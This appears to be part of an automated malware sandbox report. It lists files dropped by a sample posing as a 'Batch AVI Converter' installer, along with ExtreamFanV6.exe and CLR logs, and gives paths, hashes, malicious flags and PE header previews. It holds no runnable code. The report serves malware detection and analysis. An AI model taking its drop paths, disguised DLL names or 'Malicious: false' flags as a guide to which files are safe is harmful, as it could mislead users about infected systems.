SSDEEP:	6144:OcV9z83OtqxnEYmt3NEnvfF+Tbmbw6An8FMciFMNrb3YgxxpbCAOxO2ElvlE:Ooz83OtIEzW+/m/AyF7bCrO/E
MD5:	86F1895AE8C5E8B17D99ECE768A70732
SHA1:	D5502A1D00787D68F548DDEEBBDE1ECA5E2B38CA
SHA-256:	8094AF5EE310714CAEBCCAEEE7769FFB08048503BA478B879EDFEF5F1A24FEFE
SHA-512:	3B7CE2B67056B6E005472B73447D2226677A8CADAE70428873F7EFA5ED11A3B3DBF6B1A42C5B05B1F2B1D8E06FF50DFC6532F043AF8452ED87687EEFBF1791DA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........2..S..S..S..Tp..S..S..5S..BX..S..BX...S..BX..Q..BX..S..BX..S..BX..S..Rich.S..........................PE..L.....V>...........!................."............4\|.........................`......................................t....C......(.... .......................0..d+..H...8...........................x...H...............l............................text............................... ..`.rdata..@...........................@..@.data... h.......`..................@....rsrc........ ......................@..@.reloc..d+...0...0... ..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Batch AVI Converter\is-3RMPS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	719720
Entropy (8bit):	6.620042925263483
Encrypted:	false
SSDEEP:	12288:ST+z0ucMr64M+yiwUqfWY/EThHzgOXfpwN9Cu66vLHL1e13XYFU8HtUDsMBPxtFe:FPAeKLL1e6kpqsookesEiU1xJycD4R1z
MD5:	20B6B06BBD211A8ACFE51193653E4167
SHA1:	817D442B46DD6F35FD9641E0C7262C934ED76848
SHA-256:	7A16E6ED0C0A49AEB8EA4972600A7A1422C92550602A150634B1C221F79300B4
SHA-512:	0F0C31D46E7274F28F62AFBBB4A172CB088AF40F6C71A56297B08D83D16548C0A4FDA4CF5F4A29C1445EEDF15FE81FC405E2EB8680F92C744406D031A05A72C8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+X?\|o9Q/o9Q/o9Q/{RR.e9Q/{RT..9Q/{RU.}9Q/{RP.m9Q/=QT.r9Q/=QU.`9Q/=QR.z9Q/.PP.l9Q/o9P/j;Q/.PU.C9Q/.PQ.n9Q/.P./n9Q/.PS.n9Q/Richo9Q/................PE..L...3..c...........!.....d...~......Z........................................ .......9....@.............................4@...)..<.......................h).......S..@...T...............................@............................................text...Lb.......d.................. ..`.rdata...............h..............@..@.data...`I...`...6...D..............@....rsrc................z..............@..@.reloc...S.......T...~..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Batch AVI Converter\is-DMRS4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp
File Type:	data
Category:	dropped
Size (bytes):	2240363
Entropy (8bit):	6.846731866462682
Encrypted:	false
SSDEEP:	24576:ALyOMiPFsuU62LRH8gVoSy6KaQ7xv0e/ES/z+Uo7rj8a6w7zY0eRvhLS1XbunbdV:iyqPjU62Lx8gVoARtvFhFXSMwE2
MD5:	20993A924B88E9D73B269EFBF931C9C8
SHA1:	EE81367607979790C137A97F5118790FD83259E1
SHA-256:	EEAC1F8B54F5D9345A9E01EF576389DAE1176BE4DAECEEBA40E32452C2F47B05
SHA-512:	83C8AA94B7B83062BDFCA2BB3000B4D9BDF02A872E9FC3F2E5D45DDE3241B01BE151E69459BF9FF5FBD4FCD6976F54958839D6384E26866D6EB54B90B979AA50
Malicious:	false
Reputation:	unknown
Preview:	.Z......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...HN.L.........."......P...0.......X.......`....@..........................P".............................................4i..T.......0............................................................................`...............................text...lJ.......P.................. ..`_areg_3.p;...`...@...`..............@..@.data...8 ..........................@....rsrc...............................@..@_breg_3.........k....p..............a...........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Batch AVI Converter\is-KEELI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	334848
Entropy (8bit):	6.5257884005400015
Encrypted:	false
SSDEEP:	6144:JmuFcP82IqE5RSbvQpYVgMW2i32blpDW2pmoZ1:JmuFc02IqE7SbLVgR1O
MD5:	C1D465E061D7D02895DAEB19BDB28AC9
SHA1:	5E729EE51DF080545C7031D771B85094A2B2D4E9
SHA-256:	777917D30F277A9E88D8FC04E69B955A2B0BD3F2BCF2E36F7F9CFFEF2583EE60
SHA-512:	438ADAA0AC3AD47621D288E3FF56493CC7DE4E2A89FC5420E246A6045DB79E7CB84A28D3F3420841340AB33BD632F12FDC3A4E9D8EF99601CA9F975B7F8309E1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#................ ..............a.................................g........ ......................P..Z........j...p..8.......................d............................`......................@................................text...............................`.P`.data...............................@.0..rdata...s.......t..................@.p@.eh_framD....p.......<..............@.0@.bss....H....@........................p..edata..Z....P......................@.0@.idata...j.......l..................@.0..CRT....,....P......................@.0..tls.... ....`......................@.0..rsrc...8....p......................@.0..reloc..d........ ..................@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Batch AVI Converter\is-OQOI6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	717985
Entropy (8bit):	6.514913265422627
Encrypted:	false
SSDEEP:	12288:6TPcYn5c/rPx37/zHBA6a5UeYpthr1CERAgrNuR+oIq5MRxyFA:SPcYn5c/rPx37/zHBA6pFptZ1CElqMRJ
MD5:	57F85BD7D56E1977B123E358BE746666
SHA1:	A5969EA46ECEA115089E98AE2B4D08CA2D0FAC04
SHA-256:	BFD90E119C21FF4429847B2BAF7653755FBF91B75F2E1B71B52A09374D3861EA
SHA-512:	087A1E376849F2D2D93325F5E7D2E99F8364552434B2C83FB94D2B62AC870A485C01772257C45F82BDB22D9330DB1C1B6086BD7A0FDB24358EC460EEFB7F285B
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................~........................@..............................................@...............................%..................................................................................................................CODE.....}.......~.................. ..`DATA................................@...BSS......................................idata...%.......&..................@....tls.....................................rdata..............................@..P.reloc....... ......................@..P.rsrc...............................@..P.....................T..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Batch AVI Converter\is-OV7N4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	499712
Entropy (8bit):	6.414789978441117
Encrypted:	false
SSDEEP:	12288:fJzxYPVsBnxO/R7krZhUgiW6QR7t5k3Ooc8iHkC2eq:fZxvBnxOJ7ki3Ooc8iHkC2e
MD5:	561FA2ABB31DFA8FAB762145F81667C2
SHA1:	C8CCB04EEDAC821A13FAE314A2435192860C72B8
SHA-256:	DF96156F6A548FD6FE5672918DE5AE4509D3C810A57BFFD2A91DE45A3ED5B23B
SHA-512:	7D960AA8E3CCE22D63A6723D7F00C195DE7DE83B877ECA126E339E2D8CC9859E813E05C5C0A5671A75BB717243E9295FD13E5E17D8C6660EB59F5BAEE63A7C43
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................................................................Rich...................PE..L.....w>...........!.................-............:\|................................~e..............................$...?...d!..<....`.......................p...0..8...8...............................H............................................text............................... ..`.rdata..2*.......0..................@..@.data...h!...0... ...0..............@....rsrc........`.......P..............@..@.reloc...0...p...@...`..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Batch AVI Converter\is-R68PO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1471856
Entropy (8bit):	6.8308189184145665
Encrypted:	false
SSDEEP:	24576:6PQ+KpPa3kPjWWJy+0PX7PM6ZB9In8QmMMWwI6/I+no9R2aFVWKZxPo89/xc3lRc:brWW0jnMVpUBuwemQnGP8RqYr1mpbk3
MD5:	A236287C42F921D109475D47E9DCAC2B
SHA1:	6D7C177A0AC3076383669BCE46608EB4B6B787EC
SHA-256:	63AA600A7C914C2D59280069169CC93E750E42C9A1146E238C9128E073D578FD
SHA-512:	C325B12235AD77937E3799F1406EB6AA3BC5479BFDFF0EA2F2178FE243E63689AC37BB539ADCBB326B0DE6C09B884771AD57F59184A5B69065682855382ADD8A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A.W.A.W.A.W.%.V.A.W.%.VeA.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.A.WUA.W.A.W.A.W2%.V.C.W2%.V.A.W2%.W.A.W2%.V.A.WRich.A.W................PE..L.....r^...........!.....v...............................................................@..........................r......H*..x.......X............B..p3..........@e..............................`e..@............................................text....u.......v.................. ..`.rdata..............z..............@..@.data........@...j... ..............@....rsrc...X...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Batch AVI Converter\is-V3DES.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	392048
Entropy (8bit):	6.542831007177094
Encrypted:	false
SSDEEP:	6144:1eIwnft+S34NVSTjMFR+oVbKQfbno1/1oz6i2EDSD4I+XdtQXGMiFcoOjAWcIhbl:1eIwnft+S34NVSTQD+oVbKQfrC/1ct25
MD5:	EE856A00410ECED8CC609936D01F954E
SHA1:	705D378626AEC86FECFDF04C86244006BC3AF431
SHA-256:	B6192300D3C1476EF3C25A368D055AA401035E78F9F6DBE5F93C84D36EF1FA62
SHA-512:	666D731247DAEAE4B57925DFA8CAE845327FD34E0F6B9AAD1BCF471D1800D7E8AF5642A5FB6E0EC58BA3AC7DD98A6D3FE0B473F34C16FFB9985621C98C0463EF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../.v[N.%[N.%[N.%4.$QN.%4.$.N.%4.$IN.%4.$YN.%..$HN.%..$GN.%..$KN.%..$XN.%[N.%.O.%..$iN.%..$ZN.%.e%ZN.%..$ZN.%Rich[N.%........PE..L...D.r^...........!.....8..........^7.......P......................................'.....@..........................6..<)..L_..<.......X...............p3.......3..@,..............................`,..@............P...............................text....7.......8.................. ..`.rdata..l....P.......<..............@..@.data....?...p...6...X..............@....rsrc...X...........................@..@.reloc...3.......4..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Batch AVI Converter\libeay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1471856
Entropy (8bit):	6.8308189184145665
Encrypted:	false
SSDEEP:	24576:6PQ+KpPa3kPjWWJy+0PX7PM6ZB9In8QmMMWwI6/I+no9R2aFVWKZxPo89/xc3lRc:brWW0jnMVpUBuwemQnGP8RqYr1mpbk3
MD5:	A236287C42F921D109475D47E9DCAC2B
SHA1:	6D7C177A0AC3076383669BCE46608EB4B6B787EC
SHA-256:	63AA600A7C914C2D59280069169CC93E750E42C9A1146E238C9128E073D578FD
SHA-512:	C325B12235AD77937E3799F1406EB6AA3BC5479BFDFF0EA2F2178FE243E63689AC37BB539ADCBB326B0DE6C09B884771AD57F59184A5B69065682855382ADD8A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A.W.A.W.A.W.%.V.A.W.%.VeA.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.A.WUA.W.A.W.A.W2%.V.C.W2%.V.A.W2%.W.A.W2%.V.A.WRich.A.W................PE..L.....r^...........!.....v...............................................................@..........................r......H*..x.......X............B..p3..........@e..............................`e..@............................................text....u.......v.................. ..`.rdata..............z..............@..@.data........@...j... ..............@....rsrc...X...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Batch AVI Converter\libssl-1_1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	719720
Entropy (8bit):	6.620042925263483
Encrypted:	false
SSDEEP:	12288:ST+z0ucMr64M+yiwUqfWY/EThHzgOXfpwN9Cu66vLHL1e13XYFU8HtUDsMBPxtFe:FPAeKLL1e6kpqsookesEiU1xJycD4R1z
MD5:	20B6B06BBD211A8ACFE51193653E4167
SHA1:	817D442B46DD6F35FD9641E0C7262C934ED76848
SHA-256:	7A16E6ED0C0A49AEB8EA4972600A7A1422C92550602A150634B1C221F79300B4
SHA-512:	0F0C31D46E7274F28F62AFBBB4A172CB088AF40F6C71A56297B08D83D16548C0A4FDA4CF5F4A29C1445EEDF15FE81FC405E2EB8680F92C744406D031A05A72C8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+X?\|o9Q/o9Q/o9Q/{RR.e9Q/{RT..9Q/{RU.}9Q/{RP.m9Q/=QT.r9Q/=QU.`9Q/=QR.z9Q/.PP.l9Q/o9P/j;Q/.PU.C9Q/.PQ.n9Q/.P./n9Q/.PS.n9Q/Richo9Q/................PE..L...3..c...........!.....d...~......Z........................................ .......9....@.............................4@...)..<.......................h).......S..@...T...............................@............................................text...Lb.......d.................. ..`.rdata...............h..............@..@.data...`I...`...6...D..............@....rsrc................z..............@..@.reloc...S.......T...~..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Batch AVI Converter\msvcp71.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	499712
Entropy (8bit):	6.414789978441117
Encrypted:	false
SSDEEP:	12288:fJzxYPVsBnxO/R7krZhUgiW6QR7t5k3Ooc8iHkC2eq:fZxvBnxOJ7ki3Ooc8iHkC2e
MD5:	561FA2ABB31DFA8FAB762145F81667C2
SHA1:	C8CCB04EEDAC821A13FAE314A2435192860C72B8
SHA-256:	DF96156F6A548FD6FE5672918DE5AE4509D3C810A57BFFD2A91DE45A3ED5B23B
SHA-512:	7D960AA8E3CCE22D63A6723D7F00C195DE7DE83B877ECA126E339E2D8CC9859E813E05C5C0A5671A75BB717243E9295FD13E5E17D8C6660EB59F5BAEE63A7C43
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................................................................Rich...................PE..L.....w>...........!.................-............:\|................................~e..............................$...?...d!..<....`.......................p...0..8...8...............................H............................................text............................... ..`.rdata..2*.......0..................@..@.data...h!...0... ...0..............@....rsrc........`.......P..............@..@.reloc...0...p...@...`..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Batch AVI Converter\msvcr71.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	348160
Entropy (8bit):	6.542655141037356
Encrypted:	false
SSDEEP:	6144:OcV9z83OtqxnEYmt3NEnvfF+Tbmbw6An8FMciFMNrb3YgxxpbCAOxO2ElvlE:Ooz83OtIEzW+/m/AyF7bCrO/E
MD5:	86F1895AE8C5E8B17D99ECE768A70732
SHA1:	D5502A1D00787D68F548DDEEBBDE1ECA5E2B38CA
SHA-256:	8094AF5EE310714CAEBCCAEEE7769FFB08048503BA478B879EDFEF5F1A24FEFE
SHA-512:	3B7CE2B67056B6E005472B73447D2226677A8CADAE70428873F7EFA5ED11A3B3DBF6B1A42C5B05B1F2B1D8E06FF50DFC6532F043AF8452ED87687EEFBF1791DA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........2..S..S..S..Tp..S..S..5S..BX..S..BX...S..BX..Q..BX..S..BX..S..BX..S..Rich.S..........................PE..L.....V>...........!................."............4\|.........................`......................................t....C......(.... .......................0..d+..H...8...........................x...H...............l............................text............................... ..`.rdata..@...........................@..@.data... h.......`..................@....rsrc........ ......................@..@.reloc..d+...0...0... ..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Batch AVI Converter\ssleay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	392048
Entropy (8bit):	6.542831007177094
Encrypted:	false
SSDEEP:	6144:1eIwnft+S34NVSTjMFR+oVbKQfbno1/1oz6i2EDSD4I+XdtQXGMiFcoOjAWcIhbl:1eIwnft+S34NVSTQD+oVbKQfrC/1ct25
MD5:	EE856A00410ECED8CC609936D01F954E
SHA1:	705D378626AEC86FECFDF04C86244006BC3AF431
SHA-256:	B6192300D3C1476EF3C25A368D055AA401035E78F9F6DBE5F93C84D36EF1FA62
SHA-512:	666D731247DAEAE4B57925DFA8CAE845327FD34E0F6B9AAD1BCF471D1800D7E8AF5642A5FB6E0EC58BA3AC7DD98A6D3FE0B473F34C16FFB9985621C98C0463EF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../.v[N.%[N.%[N.%4.$QN.%4.$.N.%4.$IN.%4.$YN.%..$HN.%..$GN.%..$KN.%..$XN.%[N.%.O.%..$iN.%..$ZN.%.e%ZN.%..$ZN.%Rich[N.%........PE..L...D.r^...........!.....8..........^7.......P......................................'.....@..........................6..<)..L_..<.......X...............p3.......3..@,..............................`,..@............P...............................text....7.......8.................. ..`.rdata..l....P.......<..............@..@.data....?...p...6...X..............@....rsrc...X...........................@..@.reloc...3.......4..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Batch AVI Converter\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp
File Type:	InnoSetup Log Batch AVI Converter, version 0x30, 4471 bytes, 745481\user, "C:\Users\user\AppData\Local\Batch AVI Converter"
Category:	dropped
Size (bytes):	4471
Entropy (8bit):	4.630459422064553
Encrypted:	false
SSDEEP:	96:89yVvdWr38cpXpdxW9U+eOIhnXq/QH4cVSQs0LUK4Q4I41444G4E4DUIw:89yxdWr33pXpngHIhXwQYcVSQ1UKdPaT
MD5:	BDD44FF8DD08FAAF86A2F15821BA5B98
SHA1:	9CD139FE2C67C3FC2A9535798C932FE1D1C8AACF
SHA-256:	CAA18FBDD3CF9A685C661661A84620964D5FF5695F3B0199A00A85EADB150846
SHA-512:	652A50CD621E5D8B243B024F691F3B8747043738BCBCF368DD459C7AB7B99D472A48D896BD1501951FCE7C938B351163F427D10AE91EAD8CA2BFF2B40979EB2E
Malicious:	false
Reputation:	unknown
Preview:	Inno Setup Uninstall Log (b)....................................Batch AVI Converter.............................................................................................................Batch AVI Converter.............................................................................................................0.......w...%.....................................................................................................................T...../.......P....745481.user0C:\Users\user\AppData\Local\Batch AVI Converter.............2.z.. .....q......IFPS.............................................................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TPASSWORDEDIT....TPASSWORDEDIT...........................................!MAIN....-1..(...dll:kernel32.dll.CreateFileA..............$...dll:kernel32.dll.WriteFile............"...dll:kernel32.dll.CloseHandle........"...dll:kernel32.dll.ExitProcess........%...dll:User32

C:\Users\user\AppData\Local\Batch AVI Converter\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	717985
Entropy (8bit):	6.514913265422627
Encrypted:	false
SSDEEP:	12288:6TPcYn5c/rPx37/zHBA6a5UeYpthr1CERAgrNuR+oIq5MRxyFA:SPcYn5c/rPx37/zHBA6pFptZ1CElqMRJ
MD5:	57F85BD7D56E1977B123E358BE746666
SHA1:	A5969EA46ECEA115089E98AE2B4D08CA2D0FAC04
SHA-256:	BFD90E119C21FF4429847B2BAF7653755FBF91B75F2E1B71B52A09374D3861EA
SHA-512:	087A1E376849F2D2D93325F5E7D2E99F8364552434B2C83FB94D2B62AC870A485C01772257C45F82BDB22D9330DB1C1B6086BD7A0FDB24358EC460EEFB7F285B
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................~........................@..............................................@...............................%..................................................................................................................CODE.....}.......~.................. ..`DATA................................@...BSS......................................idata...%.......&..................@....tls.....................................rdata..............................@..P.reloc....... ......................@..P.rsrc...............................@..P.....................T..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe

Download File

Process:	C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	8684256
Entropy (8bit):	7.036585407539768
Encrypted:	false
SSDEEP:	98304:yvOB51QmIWth3e1PTbEYBkQyShbkqdwOyAuYJvdVuWFY:y+51/Iqh3e1PTbE7QbCqeYbM8
MD5:	B5887A19FE50BFA32B524AAAD0A453BC
SHA1:	CD1F3905959CD596C83730A5B03CEEF4E9F2A877
SHA-256:	FCE5CBEEC1EB5274FC3AFA55E57FB2F724688CB9D4661A8A86716011493564C7
SHA-512:	5B9914C94101B53314B14335E687552E5DA0A4085AFB826AE94F45769E9B1E66A35624B6E6B60257514F4ADF2ACC5C9E048BFA3A24AAFB891D203E3011C02538
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....P..............................&... ...@....@.. ....................... ......I.....@..................................&..K....`.............................6&............................................... ............... ..H............text........ ...................... ..`.sdata.......@......................@....rsrc.......`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\2Su0FBbBo66AP291hju1uAp_.exe.log

Download File

Process:	C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe.log

Download File

Process:	C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	617
Entropy (8bit):	5.3554278163807965
Encrypted:	false
SSDEEP:	12:Q3La/hz92n4M9tDLI4MWuPTAOKbbDLI4MWuPJKAVKharkvoDLI4MWuCv:MLU84qpE4KlKDE4KhKiKhIE4Ks
MD5:	8378C2E2DA2FDD2FB813AA6E18705667
SHA1:	EFA4CF7D0E19099EB95C3BCA32F6A5D111BFFF30
SHA-256:	C12EA9B40BA290B624BB2DDAFD4CB2CDC1C05AE1F5F142899D53CF9C54DFFA06
SHA-512:	69C0E61617DFD6F843ECBA8D9328D6737BADAFB622236D3AC79E03590AFAFC5523E10D5E52AD8ACABD71EF9F4B202A654A386E1DF799CC9219CA4678145CDFDD
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\GYi2x83ApCTB3_vjRj5FL48U.exe.log

Download File

Process:	C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\McmVdxsIvLZmG47_ZImbEdvo.exe.log

Download File

Process:	C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	5.345080863654519
Encrypted:	false
